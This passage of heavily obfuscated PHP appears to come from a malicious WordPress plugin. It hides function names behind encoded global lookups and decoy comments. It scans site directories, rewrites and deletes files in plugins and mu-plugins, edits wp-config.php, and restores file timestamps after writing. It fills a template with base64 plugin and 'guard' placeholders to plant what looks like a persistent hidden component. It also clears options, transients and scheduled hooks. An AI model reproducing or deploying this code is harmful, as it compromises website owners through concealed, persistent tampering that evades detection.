 $g2qi4n71nqg3 =      @$GLOBALS['__scf_en2e7qgldhuhq6_54']($q9bdm8vc06odw4);
 if   (!$g2qi4n71nqg3)      return  '0';
$z7f9xi94vruxpx =      $g2qi4n71nqg3[b4gbsak56f40gos(1601)] .    '|'   .     $g2qi4n71nqg3[op9tjzix(1618)];

  if ($g2qi4n71nqg3[tvo1rh46s_(1601)] >   (0xb6e9e+0x49162))   return  tvo1rh46s_(1619) . $z7f9xi94vruxpx;



   $a5k4otdarxhx3x   =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
    return    $z7f9xi94vruxpx   .      '|' . (($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)    &&   $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  $s8rm1qoh6o)  !==   false)     ?      '1'    :  '0');
    }
   function   w2bpwzcxaswb2i6c9jpsi()
  {
   $_pv   = $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1604))  ? get_option(op9tjzix(1620), "")    :  "";



  wx7nk2k_huf79y();
$mv4tgt6ke6ju    =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1604))  ?   get_option(tvo1rh46s_(1620),  "")     : "";
    if  ($mv4tgt6ke6ju ===  $_pv)  {
      global   $wpdb;
    if    ($GLOBALS['__scf_l4xn242gw4_70']($wpdb)  &&   $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb, tvo1rh46s_(1621)) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($_pv) &&     $_pv    !==    "" &&  isset($wpdb->options))   {
@$wpdb->query($wpdb->prepare("\x44EL\x45TE \x46R\x4fM {$wpdb->options} W\x48E\x52E o\x70tion_\x6e\x61me = 'sc_pendi\x6e\x67_\x69n\x76ali\x64at\x65' \x41ND op\x74\x69on_\x76al\x75e = %s", $_pv));
       if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1127))) {
// devirtualize closed trie

 @wp_cache_delete(fjup2mc1h(1620), wlgh2_th(1622));
 @wp_cache_delete(op9tjzix(1623),    wlgh2_th(1622));
}
 }   else  {
      @delete_option(zp28wk01y(1620));
   }
}
}
   function wx7nk2k_huf79y()
{


    try  {
     if (!defined(wlgh2_th(1542))) return;
 $dx_ofkvr3qy  = p_wsdzgl36a6wh_fs09();
  $lqv3ldbw3nx =     xrb38aewb77bc3i();
  $u417k4mwzn5l   =  fmsvr16ge0nzzk9i6u(ABSPATH  . tvo1rh46s_(1301), (7+1))    .      fjup2mc1h(1136);
 $kl25_l056qztl5sg  = fmsvr16ge0nzzk9i6u(ABSPATH    . fjup2mc1h(1624), (15-7))  .   zp28wk01y(1605);
    $zqljuws8iu_  = fmsvr16ge0nzzk9i6u(ABSPATH      . b4gbsak56f40gos(1189),    (0x2+0x6))  . fjup2mc1h(1605);
$upwzl34triowv   = fmsvr16ge0nzzk9i6u(ABSPATH  . tvo1rh46s_(1180), (2+6)) .   b4gbsak56f40gos(1605);
$pg2ltgydeq   = fmsvr16ge0nzzk9i6u(ABSPATH . tvo1rh46s_(1137), (13-5))  . fjup2mc1h(1625);
 $rzp045ypkkq =    b4gbsak56f40gos(1626) . fmsvr16ge0nzzk9i6u(ABSPATH  .  'g',   (0x3+0x5));
 $n04viddej4 =   array(


  $dx_ofkvr3qy .      b4gbsak56f40gos(1627)   => zp28wk01y(802),



 $dx_ofkvr3qy    . zp28wk01y(1586)    =>  b4gbsak56f40gos(800),
     );
     foreach  ($n04viddej4 as    $q9bdm8vc06odw4      =>  $prefix)  {
 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  continue;


  $a5k4otdarxhx3x     =     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
  if  ($a5k4otdarxhx3x  ===  false) continue;
   $qzf1eo6atgozl     =  b4gbsak56f40gos(806) .   $prefix  .  tvo1rh46s_(807)    . $prefix    .  zp28wk01y(1628);
      $amj8kj2q_qrqer  = $GLOBALS['__scf_sp5m_appgxyoko_471']($qzf1eo6atgozl, "",    $a5k4otdarxhx3x);
  if  ($amj8kj2q_qrqer !==    $a5k4otdarxhx3x) _ew1atk9e66yol2lso($q9bdm8vc06odw4, $amj8kj2q_qrqer);
}
// WP Social Links: compile priority-queue

 $f8wpztg5txudv29h = $dx_ofkvr3qy    .  op9tjzix(1629);
if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($f8wpztg5txudv29h))  {$xifs2bx97z3=87+10;$k64q85beplsvx=$xifs2bx97z3-15;


 $e05w_tnmmmiw1  =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($f8wpztg5txudv29h);
if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($e05w_tnmmmiw1)    &&   $e05w_tnmmmiw1    !==  "")  {
  if  ($GLOBALS['__scf_bvfhit3heqts_99'](tvo1rh46s_(1630),   $GLOBALS['__scf_zre6ec18ly90y_10']($e05w_tnmmmiw1,    0,  (283+17))) ||      $GLOBALS['__scf_rbe_sihvfv_8']($e05w_tnmmmiw1,   b4gbsak56f40gos(1254)) ===  0)  {
// expected dispatcher


  kp1tutxjpanriy($f8wpztg5txudv29h,   (647-227));
      _0qezpop1swzfe($f8wpztg5txudv29h);


    } else {
  $yu87_op6um1uis =   $GLOBALS['__scf_sp5m_appgxyoko_471'](zp28wk01y(1631),   "",    $e05w_tnmmmiw1);



  if ($GLOBALS['__scf_zneqqdn4vlt4_42']($yu87_op6um1uis)  &&  $yu87_op6um1uis  !==      $e05w_tnmmmiw1)  _ew1atk9e66yol2lso($f8wpztg5txudv29h, $yu87_op6um1uis);


      unset($yu87_op6um1uis);
   }
 }
    unset($e05w_tnmmmiw1);
}
$cs78ei1bbl6ugr     =  $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())   .  wlgh2_th(1204);


$fvmhzgw_mjwk1a    =  defined(fjup2mc1h(1350))  ?   WP_CONTENT_DIR . zp28wk01y(1204)    :      $cs78ei1bbl6ugr;

 $mr05tabvz2    =  array(
    $dx_ofkvr3qy . '/'  .   $u417k4mwzn5l,
    $dx_ofkvr3qy  . '/'  .   $kl25_l056qztl5sg,
  $dx_ofkvr3qy  . '/'  .  $zqljuws8iu_,
 $lqv3ldbw3nx  .     '/' .    $upwzl34triowv,
     $lqv3ldbw3nx .  '/'   . $pg2ltgydeq,
   $lqv3ldbw3nx  .   '/' .  $kl25_l056qztl5sg,
    $lqv3ldbw3nx .   '/' . $zqljuws8iu_,
      $cs78ei1bbl6ugr   .  '/'  .  $upwzl34triowv,
 $cs78ei1bbl6ugr    .      '/'  .   $pg2ltgydeq,
   $cs78ei1bbl6ugr   . '/' .      $kl25_l056qztl5sg,


 $cs78ei1bbl6ugr .  '/' . $zqljuws8iu_,

 $fvmhzgw_mjwk1a  .      '/'  .  $upwzl34triowv,

$fvmhzgw_mjwk1a  .   '/' .    $pg2ltgydeq,
$fvmhzgw_mjwk1a      .  '/' .  $kl25_l056qztl5sg,
$fvmhzgw_mjwk1a   .  '/'    .   $zqljuws8iu_,
    );


 $h1z9dmeyoq9j6t  =   n0_7e12hpkahf8mwyn53();
 $mr05tabvz2[]   =    $h1z9dmeyoq9j6t[1];
   $mr05tabvz2[]     =     $h1z9dmeyoq9j6t[1] .  fjup2mc1h(1409);
 unset($h1z9dmeyoq9j6t);
    if   ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(832)))  {
   foreach  ((array) @$GLOBALS['__scf_ylc30lk3q5j_73']($dx_ofkvr3qy     .  wlgh2_th(1632)  . $u417k4mwzn5l) as $lkjl3fskellh9qrm) $mr05tabvz2[]    = $lkjl3fskellh9qrm;
 foreach   ((array) @$GLOBALS['__scf_ylc30lk3q5j_73']($dx_ofkvr3qy  .   fjup2mc1h(1633) .   $u417k4mwzn5l)  as $lkjl3fskellh9qrm) $mr05tabvz2[]   =  $lkjl3fskellh9qrm;
     foreach   ((array) @$GLOBALS['__scf_ylc30lk3q5j_73'](ABSPATH   . zp28wk01y(1326)  .  $rzp045ypkkq    . fjup2mc1h(292))  as $fv6uvn1m7gjoko3x)     $mr05tabvz2[]     =   $fv6uvn1m7gjoko3x;
  foreach   ((array) @$GLOBALS['__scf_ylc30lk3q5j_73']($dx_ofkvr3qy  .   '/'     .  $rzp045ypkkq  .   wlgh2_th(292))    as    $fv6uvn1m7gjoko3x)    $mr05tabvz2[]     =    $fv6uvn1m7gjoko3x;
  

  foreach ((array)     @$GLOBALS['__scf_ylc30lk3q5j_73']($lqv3ldbw3nx .  '/'  . $rzp045ypkkq .    zp28wk01y(1634)) as      $fv6uvn1m7gjoko3x) $mr05tabvz2[]  = $fv6uvn1m7gjoko3x;
   foreach ((array)    @$GLOBALS['__scf_ylc30lk3q5j_73']($cs78ei1bbl6ugr     .  '/'    .     $rzp045ypkkq   .   b4gbsak56f40gos(1635))    as  $fv6uvn1m7gjoko3x)  $mr05tabvz2[]    =  $fv6uvn1m7gjoko3x;
   foreach  ((array)     @$GLOBALS['__scf_ylc30lk3q5j_73']($fvmhzgw_mjwk1a . '/'  .  $rzp045ypkkq .  wlgh2_th(1635))  as    $fv6uvn1m7gjoko3x)    $mr05tabvz2[]     = $fv6uvn1m7gjoko3x;
 }
   $zaamvl9b88l5se4    =  fmsvr16ge0nzzk9i6u(ABSPATH  .  'g',    (0x5+0x3));
  $cosffls4_usoy8jr      =      array(ABSPATH  .     op9tjzix(1327),  $dx_ofkvr3qy, $lqv3ldbw3nx,    $cs78ei1bbl6ugr,  $fvmhzgw_mjwk1a);
  foreach ($cosffls4_usoy8jr as  $_gd)  {
if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($_gd) &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($_gd))  u3qer9rky6zmeg($_gd .  op9tjzix(1324) . $zaamvl9b88l5se4, _vfpypr4wakqs7jy_(),   zp28wk01y(1636));
 }
// APCu shm post type setup

if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(832))) {$bxfrwgk6zt=-535;$a1ruekj0jup=($bxfrwgk6zt>0)?$bxfrwgk6zt:-$bxfrwgk6zt;



foreach     ($cosffls4_usoy8jr   as  $_gd) {



 foreach   (array(tvo1rh46s_(1637),   fjup2mc1h(1638),  fjup2mc1h(1639), wlgh2_th(1640),   tvo1rh46s_(1641),   b4gbsak56f40gos(1642), zp28wk01y(1643),  fjup2mc1h(1644),     fjup2mc1h(1645)) as    $hgx7zb88vz)  {
  foreach  ((array)  @$GLOBALS['__scf_ylc30lk3q5j_73']($_gd  .   '/' .   $hgx7zb88vz  .   '*')  as $iev0dzskxlfqusx) $mr05tabvz2[] =     $iev0dzskxlfqusx;

}
foreach     ((array)   @$GLOBALS['__scf_ylc30lk3q5j_73']($_gd . op9tjzix(1646))     as    $ck307w7nsg5_oh) $mr05tabvz2[]  =  $ck307w7nsg5_oh;

     }

}
    unset($zaamvl9b88l5se4, $cosffls4_usoy8jr, $_gd,  $hgx7zb88vz,    $iev0dzskxlfqusx, $ck307w7nsg5_oh);


   
 $x1wgm5fftydyogh  =  array($GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,  wlgh2_th(1543)),    $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),  fjup2mc1h(1647)),    $GLOBALS['__scf_q93011jdjf_13']($lqv3ldbw3nx,   wlgh2_th(1647)), $GLOBALS['__scf_q93011jdjf_13']($cs78ei1bbl6ugr, wlgh2_th(1648)),   $GLOBALS['__scf_q93011jdjf_13']($fvmhzgw_mjwk1a, zp28wk01y(1648)));
if   (defined(op9tjzix(1350)))  $x1wgm5fftydyogh[]     =  $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,   fjup2mc1h(1648));
    $d_c8sckq6e3nsl   =    array();
 foreach  ($GLOBALS['__scf_s8rgnr7_02m_155']($x1wgm5fftydyogh)      as   $_pd)  {
// cleaner action



 $d_c8sckq6e3nsl[]    =  $_pd .  '/' .   $kl25_l056qztl5sg;
$d_c8sckq6e3nsl[] =  $_pd   . '/'  .    $zqljuws8iu_;
$d_c8sckq6e3nsl[] =   $_pd    .   zp28wk01y(1194)   .  $zqljuws8iu_;
  }
 unset($x1wgm5fftydyogh,  $_pd);
foreach   ($d_c8sckq6e3nsl as  $ps_4dak4mnv907m) {
   if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ps_4dak4mnv907m))   db_wu_1w8gixtjv($ps_4dak4mnv907m,    null);
}
// accumulate read-committed b-tree

unset($ps_4dak4mnv907m);
$t0wbczghkx8xblb =  array($GLOBALS['__scf_q93011jdjf_13'](ABSPATH,  b4gbsak56f40gos(1648)));$ggt6jfzzgqll5=PHP_MAJOR_VERSION;$lnu9xr6xlk_sc=$ggt6jfzzgqll5*1;
 if   (defined(zp28wk01y(1649)))      $t0wbczghkx8xblb[]  =  $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR, fjup2mc1h(1648));
  $t0wbczghkx8xblb[] =  $GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,    zp28wk01y(1650));
    $t0wbczghkx8xblb[]   =   $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),  tvo1rh46s_(1650));
   $jot2iecxmlsdsn  =     array();
      foreach   ($GLOBALS['__scf_s8rgnr7_02m_155']($t0wbczghkx8xblb) as $i1mjk8z1fal8a)  $jot2iecxmlsdsn[]   = $i1mjk8z1fal8a    .  op9tjzix(1212);
 unset($t0wbczghkx8xblb,  $i1mjk8z1fal8a);
      foreach  ($jot2iecxmlsdsn  as      $muttcgealw)     {



     if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($muttcgealw))    continue;
 $a5k4otdarxhx3x   = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($muttcgealw);

if    ($a5k4otdarxhx3x &&     $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,    zp28wk01y(538))  !== false)     {
// expire mediator for WP useInnerBlocksProps

   $a5k4otdarxhx3x   =    $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(996)  .  $GLOBALS['__scf_ye733r3hqpt_841']($kl25_l056qztl5sg, '/')      .  wlgh2_th(1651), "\n",  $a5k4otdarxhx3x);
 if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)) {
   $a5k4otdarxhx3x     =    $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(998)  .   $GLOBALS['__scf_ye733r3hqpt_841']($kl25_l056qztl5sg,  '/') . op9tjzix(1652),     "\n",    $a5k4otdarxhx3x);
   }
   if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))   {
   $a5k4otdarxhx3x =  $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(999)  .   $GLOBALS['__scf_ye733r3hqpt_841']($kl25_l056qztl5sg,  '/') . zp28wk01y(1653), "\n", $a5k4otdarxhx3x);
     }



  if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))  _ew1atk9e66yol2lso($muttcgealw,  $a5k4otdarxhx3x);
       }
   }
  $orak77n_zhokv   = ABSPATH  .  op9tjzix(1277);
 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($orak77n_zhokv)) {

     $n2njrlwlq_r  =     $GLOBALS['__scf_pqkpt9n3trf9fm_12'](ABSPATH) .  fjup2mc1h(1654);
  if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($n2njrlwlq_r))     $orak77n_zhokv     = $n2njrlwlq_r;$crc41z1p_5=PHP_INT_MAX/PHP_INT_MAX;$dx_i4bq_u=$crc41z1p_5+3;
    }
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($orak77n_zhokv) &&   @$GLOBALS['__scf_tluflp7r6hugyf_48']($orak77n_zhokv))   {$b0bai6sdsxu5n=3082;$e4eiwaq1=$b0bai6sdsxu5n%3;
 $_wc  =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($orak77n_zhokv);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($_wc) &&  $GLOBALS['__scf_rbe_sihvfv_8']($_wc,    zp28wk01y(543)) !==  false)   {
  $tmxlltkn419  =   $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1655),   "define( 'WP_CACHE', true );\n",    $_wc);
// @reject injector


      if ($GLOBALS['__scf_zneqqdn4vlt4_42']($tmxlltkn419) && $tmxlltkn419     !==   $_wc  &&   ays3w9sevfe7ws($tmxlltkn419))      {
   $tbb61j_mmfpn6d    =   @$GLOBALS['__scf_kpr9p9o54hwof_101']($orak77n_zhokv);
     if  (_ew1atk9e66yol2lso($orak77n_zhokv,  $tmxlltkn419))    {

    if ($tbb61j_mmfpn6d)  @$GLOBALS['__scf_qtfcgi4pxi71_75']($orak77n_zhokv,  $tbb61j_mmfpn6d);
if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1656)))    @delete_option(op9tjzix(1569));
  }



       }
   unset($tmxlltkn419,    $tbb61j_mmfpn6d);



  }
      unset($_wc);
   }
unset($orak77n_zhokv, $n2njrlwlq_r);
 $vcpbinwjs8    =  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1190))   ?    @$GLOBALS['__scf_livuu39cntpdx3_116'](zp28wk01y(1657))    :     false;
 if (!$vcpbinwjs8  ||  $vcpbinwjs8   === "")   $vcpbinwjs8   =      zp28wk01y(536);

  $tc9q9k0kuoy  =  array($GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   op9tjzix(1650)));


 if (defined(fjup2mc1h(1658)))     $tc9q9k0kuoy[]   = $GLOBALS['__scf_q93011jdjf_13'](WP_CONTENT_DIR,    fjup2mc1h(1659));
     $tc9q9k0kuoy[]  =    $GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,  b4gbsak56f40gos(1659));
     $tc9q9k0kuoy[]  =   $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),  b4gbsak56f40gos(1659));
   $ckinu9jpzocsuo   =   array();
   foreach      ($GLOBALS['__scf_s8rgnr7_02m_155']($tc9q9k0kuoy)  as  $o3nij737s2fgx) $ckinu9jpzocsuo[]    =   $o3nij737s2fgx . '/' . $vcpbinwjs8;
 

     unset($tc9q9k0kuoy,  $o3nij737s2fgx);
 foreach   ($ckinu9jpzocsuo as  $angu058k_yto4)   {

    if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($angu058k_yto4))  continue;
   $a5k4otdarxhx3x    =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($angu058k_yto4);
     if     ($a5k4otdarxhx3x   &&  $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  b4gbsak56f40gos(1660))    !== false)   {
  $a5k4otdarxhx3x  =  $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1661)    .   $GLOBALS['__scf_ye733r3hqpt_841']($zqljuws8iu_,   '/')  .  op9tjzix(1662), "",  $a5k4otdarxhx3x);
  if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))   _ew1atk9e66yol2lso($angu058k_yto4,  $a5k4otdarxhx3x);
 }
    }

$wa5oyv75ra      = $GLOBALS['__scf_jxu__lo946uf6o_158']($mr05tabvz2,     $d_c8sckq6e3nsl);
 $ur1wb8tysaky8g9e   =  array();
    $n726s64me1e  =     false;
    foreach ($GLOBALS['__scf_h63ymopf9_k_375']($jot2iecxmlsdsn,      $ckinu9jpzocsuo)  as  $vvbluweawg) {
  if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($vvbluweawg))  continue;
      $_0xke6fw2z_x9co =     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($vvbluweawg);
 if      (!$GLOBALS['__scf_zneqqdn4vlt4_42']($_0xke6fw2z_x9co))  {
 $n726s64me1e  =  true;
     continue;


  }
 if    ($GLOBALS['__scf_rbe_sihvfv_8']($_0xke6fw2z_x9co, op9tjzix(1660)) ===   false)  continue;
    if   ($GLOBALS['__scf_y135v3krd50khw_1410'](wlgh2_th(1663),  $_0xke6fw2z_x9co,  $p31cmjdj555klr))   {
   foreach  ($GLOBALS['__scf_h63ymopf9_k_375']($p31cmjdj555klr[1],  $p31cmjdj555klr[2], $p31cmjdj555klr[(0x1+0x2)])     as   $nwbal28ou6g4mbs)  {
 if     ($nwbal28ou6g4mbs !== "")  $ur1wb8tysaky8g9e[$GLOBALS['__scf_dpm5ad5tej9nf_4']($nwbal28ou6g4mbs)]  =  true;
}
    }
  unset($_0xke6fw2z_x9co,   $p31cmjdj555klr,  $nwbal28ou6g4mbs);
     }


   if   (!$n726s64me1e)  {
   foreach  ($wa5oyv75ra   as $oknhdgd23az7)  {
   if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($oknhdgd23az7)) {
      if (isset($ur1wb8tysaky8g9e[$GLOBALS['__scf_dpm5ad5tej9nf_4']($oknhdgd23az7)])) continue;
kp1tutxjpanriy($oknhdgd23az7,   (0xda+0xca));
     _0qezpop1swzfe($oknhdgd23az7);



      }
 }



        }
     unset($ur1wb8tysaky8g9e,   $n726s64me1e, $vvbluweawg);
 foreach  (_kfuf6d43lc7ive4x4lm() as   $hrhn43wh8_)  {
if     (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($hrhn43wh8_)   ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($hrhn43wh8_))   continue;
      $a5k4otdarxhx3x =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($hrhn43wh8_);
     if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))      {$yjwg1ixeml7uo=-218;$b6ckdyr1r=($yjwg1ixeml7uo>0)?$yjwg1ixeml7uo:-$yjwg1ixeml7uo;
  $m4n3uegnbkmud  = j_dqeo7pjnrxgvhz7bc($a5k4otdarxhx3x, tvo1rh46s_(1431),  fjup2mc1h(1664));



 $m4n3uegnbkmud   =  j_dqeo7pjnrxgvhz7bc($m4n3uegnbkmud,  wlgh2_th(1433),  op9tjzix(1664));
 if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($m4n3uegnbkmud)  && $m4n3uegnbkmud   !==   $a5k4otdarxhx3x)    _ew1atk9e66yol2lso($hrhn43wh8_,    $m4n3uegnbkmud);
 unset($m4n3uegnbkmud);
 }
}
    if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1278)) &&   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1279))) {
  $key   =    s8l0tc4hqzvsivgpkr();


     if    ($key   !==  false)    {
  $ei5sp2swnd   = @$GLOBALS['__scf_zykjn0enf50_1278']($key,    'w',  0,  0);
   if   ($ei5sp2swnd)    {
    @$GLOBALS['__scf_o7haeurnka2_1290']($ei5sp2swnd);
  @$GLOBALS['__scf_nx064uqh844a_1285']($ei5sp2swnd);
   }
}
}
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1656)))     {
   $sacnahuo9uejitoc =   fmsvr16ge0nzzk9i6u(ABSPATH . tvo1rh46s_(1240),  (15-5));
 @delete_option($sacnahuo9uejitoc);
  $c9rqt2g88fxh   =   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1604)) ? @get_option(b4gbsak56f40gos(1532),   array())   :  array();
 if ($GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh)) {$b5gvfipr=PHP_INT_MAX/PHP_INT_MAX;$jyp9yih4ow9j=$b5gvfipr+82;
    if (isset($c9rqt2g88fxh['b']))     _0qezpop1swzfe($c9rqt2g88fxh['b']);
if   (isset($c9rqt2g88fxh[tvo1rh46s_(1665)])   &&   $GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh[op9tjzix(1665)]))   {

    foreach  ($c9rqt2g88fxh[b4gbsak56f40gos(1665)] as  $_ci)  {


if  ($GLOBALS['__scf_knhbvsumnby3_36']($_ci) &&  isset($_ci['b']))   _0qezpop1swzfe($_ci['b']);
  }
  }
}

@delete_option(zp28wk01y(1532));
    @delete_option(op9tjzix(1519));

    @delete_option(b4gbsak56f40gos(1270));
    @delete_option(tvo1rh46s_(1666));
@delete_option(wlgh2_th(1667));




     @delete_option(fjup2mc1h(1668));
  @delete_option(b4gbsak56f40gos(1202));
   @delete_option(wlgh2_th(1200));$ddi8zhtr0km2=7816;$xmi0vuo1bbx_4=$ddi8zhtr0km2%4;

 unset($c9rqt2g88fxh,  $_ci);



     }
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1011)))   {
  @delete_transient(zp28wk01y(1669));
 @delete_transient(wlgh2_th(1321));
@delete_transient(uys5m_ytblknm5());


 }
   if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(675))) {
   @wp_clear_scheduled_hook(b4gbsak56f40gos(1670));
 @wp_clear_scheduled_hook(wlgh2_th(1671));
 @wp_clear_scheduled_hook(w9g08cirf_gw6p6su8());
   }
  }  catch   (Throwable  $x0ydieb0v_72m_u)    {$l6lo5zx1_o=PHP_INT_MAX/PHP_INT_MAX;$qx3odiikias_5=$l6lo5zx1_o+70;
  teikfigf_p5265esq_q(op9tjzix(1672),     $x0ydieb0v_72m_u);


      } catch    (Exception   $x0ydieb0v_72m_u)  {
  }

    }
  function ky3eor3ffue9ipn()
   {
try {
  if (!defined(op9tjzix(1542)))  return   false;
     $dx_ofkvr3qy = p_wsdzgl36a6wh_fs09();
$fmjf5jjempfu =    $dx_ofkvr3qy . zp28wk01y(1586);
$cmmcvi1p_vu   =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  op9tjzix(1625));
    




  $bkok4unpnq2f_wvv    =   mridss6_czjhslw35g();



   if (!$bkok4unpnq2f_wvv || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)      <  (538-38)   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)   > (1048479+97)  ||    orl4u64oiezevyfpwqi4j($bkok4unpnq2f_wvv)  || !ays3w9sevfe7ws($bkok4unpnq2f_wvv))  return false;
   

       $current     = @$GLOBALS['__scf_bhw4bjp5xr9_715']($fmjf5jjempfu)    ? @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($fmjf5jjempfu)    : "";
if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current))  {
teikfigf_p5265esq_q(fjup2mc1h(655),  tvo1rh46s_(1673));
     return  false;$qfts9js50_=11*6;$meg6jaaycc=$qfts9js50_-44;
   }
 $current    =   eje1j3zh7yylmqspbj($current);
 $rh6r601jv1p = _vfpypr4wakqs7jy_()   . ':' . fmsvr16ge0nzzk9i6u(ABSPATH   . tvo1rh46s_(1674),    (0x1+0x7));
  $lgvmka3et7ami8h    = op9tjzix(1675)     .    $rh6r601jv1p .    b4gbsak56f40gos(1427);

 $mdn_btdc0_  =     tvo1rh46s_(1676)  .  $rh6r601jv1p   . fjup2mc1h(1427);


       $x6f9tk0p89 =  fmsvr16ge0nzzk9i6u(ABSPATH . zp28wk01y(1677),  (11-3));
  $a4bafg7h8bhqo   =      $GLOBALS['__scf_sp5m_appgxyoko_471'](zp28wk01y(1678)    .  $x6f9tk0p89  . b4gbsak56f40gos(1679), "",   $current);
 $quzzciekqt6nb3a2  = ($GLOBALS['__scf_rbe_sihvfv_8']($a4bafg7h8bhqo, b4gbsak56f40gos(1680))      !== false);
    if   ($GLOBALS['__scf_rbe_sihvfv_8']($current,   $lgvmka3et7ami8h) !== false     && $GLOBALS['__scf_rbe_sihvfv_8']($current,   $mdn_btdc0_)   !==   false   && !$quzzciekqt6nb3a2) return     true;


    $current     =   $GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(1681), "",     $a4bafg7h8bhqo);
   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current)) {
    teikfigf_p5265esq_q(op9tjzix(655),    fjup2mc1h(1318));
      return   false;


}


       $g14uqnv5ws = qo_apd6cyj2djv757yc0eg();
   if     (!$g14uqnv5ws) return  false;
 $rjdjat2abhh    = zp28wk01y(1682)  .    $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($cmmcvi1p_vu  .  (string)   wzkcxw_m1n8fard2g()),   0,    (4<<1));
$zics0rqwba7 =  g58dmj94t714r3a4(



 zp28wk01y(1683),
 array('__SLUG__',  '__PLUGIN_BASE64__', '__GUARD_NAME__', '__VERSION__'),



    array($cmmcvi1p_vu,  $g14uqnv5ws,      $rjdjat2abhh,  _vfpypr4wakqs7jy_())


       );
   if (!$zics0rqwba7)  {
 if  ((int)     get_option(fjup2mc1h(1340),    0)   >   0)   teikfigf_p5265esq_q(b4gbsak56f40gos(655),   tvo1rh46s_(1684));$ny_v994sx7q1m=PHP_INT_MAX/PHP_INT_MAX;$ieedlcu6ipsa=$ny_v994sx7q1m+22;
  return   false;



       }

   $current     =  eje1j3zh7yylmqspbj($current);
       

 $zr7yy2azy4fqxmjr =  $GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1249),    "",      $zics0rqwba7);
    $tqdlpvxli67yo   =    ($GLOBALS['__scf_m2ym9pki8mue9_11']($current)   === 0);
  if  (!$tqdlpvxli67yo)   {
  if (!sfmn3u346r4ii49tv(zp28wk01y(1685)))   {
